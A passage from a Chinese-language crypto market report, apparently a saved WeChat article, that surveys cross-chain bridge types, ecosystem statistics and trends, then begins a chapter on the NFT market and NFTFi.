1px;">所以预测GHO大概率能成为一种重要的资产，并由较大的应用范围。</span></section><h2 style="margin: 24px 1em 16px;break-after: avoid;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><strong><br mpa-from-tpl="t"/></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;line-height: 2em;"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><span style="letter-spacing: 1px;"><em style="color: rgb(0, 0, 0);font-size: 42px;" data-original-title="" title="">4</em></span></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: rgb(0, 0, 0);font-size: 18px;letter-spacing: 0.5px;">跨链桥</span></section></section></section></section></section><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;">一、跨链桥的分类</span></strong></span></h3><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">跨链桥主要采用3种技术方案：锁定+铸造/销毁类、资金池类、原子置换类。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><br/></span></section><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="font-size: 17px;letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;">二、 跨链生态现状</span></strong></span></h3><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><span style="text-decoration: underline;font-weight: bold;">1.</span><strong>跨链桥种类增加</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">根据debridges.com今年12月份的数据，以太坊、BNB Chain、Polygon上的跨链桥数量分别达到106个、73个、55个。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">再加上新公链、新Layer2出现，相应的跨链桥配套设施应该会越来越多。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><span style="text-decoration: underline;font-weight: bold;">2.</span><strong>跨链资产增加</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">以BTC为例，很多和BTC相关的资产，如WBTC、anyBTC、VBTC等等，其实这些都是基于BTC生成的跨链资产。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">这还只是同质化代币的部分，随着NFT发展，NFT的跨链预计会带来更多让人眼花缭乱的跨链资产。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><span style="text-decoration: underline;font-weight: bold;">3.</span><strong>跨链渗透到各种各样的生态和DAPP</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">据了解，主流的链和层，包括以太坊、BNBChain、Polygon、Avalanche、Fantom、Arbitrum、Gnosis Chain、Harmony、Optimism、Moonriver都已经采用跨链方案，其中光是以太坊生态中的桥锁仓量就达到了78亿美元。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">跨链桥也在支持越来越多的生态，例如Multichain凭一己之力把55个链或层连接起来。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">整体来看，在当前阶段，跨链最繁荣的生态是以太坊、BNB Chain、Polygon、Avalanche、Fantom等。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">跨链资产中，USDC类的占比最高，其次是USDT、MATIC、ETH/WETH、DAI。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">TVL（锁仓量）排名靠前的跨链桥包括：Polygon Bridge、Arbitrum Bridge、Optimism Bridge、Stargate、WBTC等。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><br/></span></section><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="font-size: 17px;letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;">三、跨链趋势与机会</span></strong></span></h3><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">资产跨链本质上是对安全性、速度、可拓展性（支持更多的链和资产）的权衡和取舍。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">例如，一个跨链桥如果支持尽可能多的链和资产，它同时也会引入更多的风险点。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">由于无法在所有维度都做到完美，各大跨链桥往往会选择一个角度作为发展策略。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>Layer2官方桥注重安全性</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">以Polygon Bridge和Arbitrum Bridge为例，它们各自只支持以太坊主网和Polygon、以太坊主网和Arbitrum间的跨链。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">这种做法把跨链生态限制在以太坊和Layer2（尤其是Arbitrum Bridge，Rollup使Arbitrum继承了和以太坊主网接近的安全性），确保了更高的跨链安全性。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">此外，这种策略还通过定位以太坊主网和Layer2间的跨链捕获Layer2发展红利。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">目前Layer2处在一个比较关键的发展时期，越来越多的资产跨链到Layer2。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">通过这种方式，Layer2官方桥捕获了大量TVL。Polygon Bridge、Arbitrum Bridge、Optimism Bridge目前在所有跨链桥中就排名TVL前三。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>跨链聚合器注重用户体验</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">聚合类跨链桥也成为一种趋势。根据哔哔News的不完全统计，71个跨链桥中，有12个通过聚合DEX、跨链桥来提供跨链服务，包括Optimism Bridge、Boba Gateway、LI.FI、Bungee等。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">在这些跨链桥界面，用户选择跨链/swap资产、原链、目标链后，平台会向用户展示多个路由，并根据gas费、跨链时间等给出路由排序，用户能比较方便地选择最佳跨链方案。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">此外，聚合类跨链桥也在一些小的细节上进行优化。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">比如Bungee提供加油功能。用户在跨链gas不足的情况下，可以通过加油功能从其他链转移代币作为gas费。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>越来越多的跨链桥提供staking选择</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">以LI.FI为例，LI.FI上的X Swap用于资产的跨链swap，Y Pool则专门为用户提供了一个staking入口，用户作为LP提供流动性可以获得staking收入。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">这种通过聚合用户手中流动性来优化资金池深度的做法正在被越来越多的跨链桥采用，包括采用锁定+铸造/销毁模型的Multichain和采用原子置换模型的cBridge也都同时采用了staking功能。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>NFT桥成为新的潜力跨链赛道</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">如果说目前同质化代币的跨链方案比较雷同，那么NFT跨链还存在比较大的探索潜力。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">NFT跨链的实现难度高于同质化代币。每一个NFT在NFT集合（代币合约地址）和TokenID上都是不一样的。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">这意味着跨链桥可能要从NFT合约地址+TokenID的粒度上对NFT进行支持。再加上跨链的NFT要在2条链上都有部署，这使得NFT的跨链不那么容易拓展。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">举个例子，Multichain和Chainswap都支持NFT跨链，但是Multichain只支持有限的3个NFT集合进行跨链，而Chainswap支持NFT合约地址和TokenID的导入，支持的范围更广。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">参考同质化代币的跨链思路，NFT跨链也可能出现聚合类平台。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">此外，NFT跨链目前可能还处在锁定+铸造/销毁模式，如果通过流动性池类进行跨链，那么NFT流动性池应该会面临比同质化代币跨链更严重的流动性深度不足问题，如何解决这个问题可能会成为NFT跨链桥的竞争焦点。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">目前Multichain、cBridge、Chainswap、Horizon by Harmony、deBridge、EVODeFi、Parakeet.dao都已经提供了NFT跨链功能。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>跨链桥资金池参与DeFi生态</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">跨链桥资金池参与DeFi也正在成为一种趋势，例如Chainswap将支持跨链DEX、跨链借贷，Aave 在V3版本中提出跨链+借贷方案。跨链桥资金池和DeFi天然契合。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">这种做法能比较好地提高资金利用率，同时也能通过鼓励LP提供流动性的方式提升资金池深度，提升跨链桥本身的体验。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">当然，LP获得较高staking APR的另一面是他们要同时承担跨链风险。如何确保资金池安全应该会成为长期内跨链桥赛道的主题。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration: underline;letter-spacing: 1px;"><strong>其他创新</strong></span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">我们也在跨链桥项目中看到了其他方面的一些创新。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">例如Optimism Bridge支持区块链和CEX间跨链，Layerswap支持CEX和Layer2间跨链，Boba Gateway支持多个币种同时跨链，XY Finance支持对多个收款人进行跨链转账，Router Protocol则持用多种代币支付gas费等。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">可以预见跨链桥在各个维度的创新还将源源不断地出现。</span></section><h1 style="margin: 24px 1em 16px;break-after: avoid;font-family: Calibri;font-size: 22pt;color: rgb(0, 0, 0);text-indent: 0pt;white-space: normal;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><br mpa-from-tpl="t"/></span></h1><section data-mpa-template="t" mpa-from-tpl="t"><section style="padding:1px 5px;font-size:14px;white-space:normal;" mpa-from-tpl="t"><h2 style="border-left: 5px solid rgb(1, 1, 1);font-weight: bold;line-height: 32px;color: rgb(1, 1, 1);padding-right: 10px;padding-left: 10px;margin: 5px;border-top-color: rgb(1, 1, 1);border-bottom-color: rgb(1, 1, 1);border-right-color: rgb(1, 1, 1);"><p style="border-color: rgb(1, 1, 1);"><span style="color: rgb(0, 0, 0);font-size: 20px;"><strong mpa-from-tpl="t">第四章    NFT</strong></span></p></h2></section></section><p><br mpa-from-tpl="t"/></p><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;line-height: 2em;"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><span style="letter-spacing: 1px;"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">1</em></span></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: rgb(0, 0, 0);font-size: 18px;letter-spacing: 0.5px;">NFT总体市场</span></section></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">随着市场的热度消退，NFT交易量也呈现出萎靡的姿态。在五月份拉盘出现的超高量，是因为当时发行的otherdeed for otherside（也叫猴子地）产生了fomo情绪。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">同时，NFT的总市值的跌幅约为一半。NFT的计价方式以币本位为主，而ETH的波动也很大，NFT的总市值不可避免的下跌。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">NFT的市值从约35 billion USD跌到了21 billion USD，跌幅约为40%。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">NFT总市值的下跌并没有ETH的幅度大，是因为NFT有持续的新资产发布，一直在给市场输送NFT，这也同时吸引非NFT用户加入到NFT。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"> </span></section><p style="margin: 0px 1em;text-align: center;width: 100%;line-height: normal;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3109375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=58cc6db7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0MmrMBXjW8iclDENbalK9Lgu33veibEGGlFx3twLTlczqEe7GQtGYWxkQ%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 12px;letter-spacing: 1px;font-family: Optima-Regular, PingFangTC-light;color: rgb(165, 165, 165);"><em>NFT交易量（数据来源 <a href="https://nftgo.io/analytics/market-overview）" target="_blank">https://nftgo.io/analytics/market-overview）</a></em></span></p><p style="margin: 0px 1em;text-align: center;width: 100%;line-height: normal;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3078125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=7d6a67bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0aMB3ITOibQ4Xl1Bbibttd8UIKXa0fATicIuf3pcsmgDPVqyoKyOpUydHA%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 12px;letter-spacing: 1px;font-family: Optima-Regular, PingFangTC-light;color: rgb(165, 165, 165);"><em>NFT持有&amp;交易数量（数据来源 <a href="https://nftgo.io/analytics/market-overview）" target="_blank">https://nftgo.io/analytics/market-overview）</a></em></span></p><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">尽管NFT市场萎靡，目前的日均交易额仅为牛市中的15%，甚至更低，但是拥有NFT的钱包数量的增速并未放缓，每周约增加8万个。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">市场用户持续增多，新产品增多，NFT总市值却在缓慢下降，这是NFT市场消除泡沫的现象。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">NFT的价格趋于理性，同时也会有越来越多的用户持有NFT，这是一种市场良性发展的现象。</span></section><h2 style="margin: 24px 1em 16px;break-after: avoid;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><strong><br mpa-from-tpl="t"/></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;line-height: 2em;"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><span style="letter-spacing: 1px;"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">2</em></span></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: rgb(0, 0, 0);font-size: 18px;letter-spacing: 0.5px;">NFTFi</span></section></section></section></section></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">为了改善NFT的流动性、拓宽应用场景以及应对门槛高的现状，NFTFI应运而生。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">关于NFTFi的定义有很多种，NFTFi 本质上是将 NFT和金融属性结合，使 NFT 的流动形式更加多元和高效，为NFT持有者提供更多玩法的可能性。</span></section><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;">在NFTFi的生态下，也衍生出了各种各样的产品，包括layer1和layer2以及NFT垂直项目。</span></section><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><br/></h3><h3 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="font-size: 17px;letter-spacing: 1px;"><strong><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;">一、 NFTFi赛道现状</span></strong></span></h3><section 